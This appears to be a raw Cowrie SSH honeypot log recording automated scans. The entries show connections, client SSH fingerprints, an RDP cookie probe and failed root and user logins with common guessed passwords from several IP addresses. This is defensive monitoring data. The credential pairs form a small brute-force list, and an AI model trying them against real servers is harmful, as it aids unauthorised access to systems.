{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:24.855180Z","src_ip":"103.118.29.129","session":"bf3b900555b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd_1000","message":"login attempt [root/P@ssw0rd_1000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:25.828508Z","src_ip":"103.118.29.129","session":"bf3b900555b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:27.075571Z","src_ip":"103.118.29.129","session":"bf3b900555b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53222,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3253615e816","protocol":"ssh","message":"New connection: 83.168.110.85:53222 (159.203.135.109:22) [session: d3253615e816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:32.746684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:32.751302Z","src_ip":"83.168.110.85","session":"d3253615e816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:32.872388Z","src_ip":"83.168.110.85","session":"d3253615e816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:33.392916Z","src_ip":"83.168.110.85","session":"d3253615e816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:34.535558Z","src_ip":"83.168.110.85","session":"d3253615e816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56966,"dst_ip":"159.203.135.109","dst_port":22,"session":"cea78e29c9b3","protocol":"ssh","message":"New connection: 83.168.110.85:56966 (159.203.135.109:22) [session: cea78e29c9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:43.184448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:43.188812Z","src_ip":"83.168.110.85","session":"cea78e29c9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:43.308856Z","src_ip":"83.168.110.85","session":"cea78e29c9b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:43.672480Z","src_ip":"83.168.110.85","session":"cea78e29c9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:44.840852Z","src_ip":"83.168.110.85","session":"cea78e29c9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7a65675ed97","protocol":"ssh","message":"New connection: 160.251.185.39:46938 (159.203.135.109:22) [session: f7a65675ed97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:47.187215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:47.191411Z","src_ip":"160.251.185.39","session":"f7a65675ed97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:47.365658Z","src_ip":"160.251.185.39","session":"f7a65675ed97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sklep","message":"login attempt [root/sklep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:48.120433Z","src_ip":"160.251.185.39","session":"f7a65675ed97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55467,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb88f0d40716","protocol":"ssh","message":"New connection: 152.42.212.128:55467 (10.17.0.5:22) [session: fb88f0d40716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:48.173987Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:48.177967Z","src_ip":"152.42.212.128","session":"fb88f0d40716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:48.181222Z","src_ip":"152.42.212.128","session":"fb88f0d40716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:49.298040Z","src_ip":"160.251.185.39","session":"f7a65675ed97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47674,"dst_ip":"159.203.135.109","dst_port":22,"session":"f929cc7ccede","protocol":"ssh","message":"New connection: 83.168.110.85:47674 (159.203.135.109:22) [session: f929cc7ccede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:53.604188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:53.608737Z","src_ip":"83.168.110.85","session":"f929cc7ccede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:53.786252Z","src_ip":"83.168.110.85","session":"f929cc7ccede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:54.308519Z","src_ip":"83.168.110.85","session":"f929cc7ccede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":56344,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d51aa3a431","protocol":"ssh","message":"New connection: 46.19.67.181:56344 (10.17.0.5:22) [session: 20d51aa3a431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:54.330170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:54.334181Z","src_ip":"46.19.67.181","session":"20d51aa3a431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:54.451186Z","src_ip":"46.19.67.181","session":"20d51aa3a431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123aa","message":"login attempt [root/123123aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:54.809021Z","src_ip":"46.19.67.181","session":"20d51aa3a431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:55.432576Z","src_ip":"83.168.110.85","session":"f929cc7ccede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:55.929919Z","src_ip":"46.19.67.181","session":"20d51aa3a431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38970,"dst_ip":"159.203.135.109","dst_port":22,"session":"db8787389df6","protocol":"ssh","message":"New connection: 83.168.110.85:38970 (159.203.135.109:22) [session: db8787389df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:03.938392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:03.947628Z","src_ip":"83.168.110.85","session":"db8787389df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:04.069359Z","src_ip":"83.168.110.85","session":"db8787389df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:04.435262Z","src_ip":"83.168.110.85","session":"db8787389df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38072,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0912dfcf798","protocol":"ssh","message":"New connection: 103.27.238.114:38072 (159.203.135.109:22) [session: f0912dfcf798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:04.682555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:04.688399Z","src_ip":"103.27.238.114","session":"f0912dfcf798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:04.960911Z","src_ip":"103.27.238.114","session":"f0912dfcf798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:05.658407Z","src_ip":"83.168.110.85","session":"db8787389df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azsxdcfv","message":"login attempt [root/azsxdcfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:05.779079Z","src_ip":"103.27.238.114","session":"f0912dfcf798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:07.054365Z","src_ip":"103.27.238.114","session":"f0912dfcf798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":47262,"dst_ip":"159.203.135.109","dst_port":22,"session":"99a3edff3e70","protocol":"ssh","message":"New connection: 152.32.171.99:47262 (159.203.135.109:22) [session: 99a3edff3e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:09.829772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:09.837651Z","src_ip":"152.32.171.99","session":"99a3edff3e70","protocol":"ssh"}
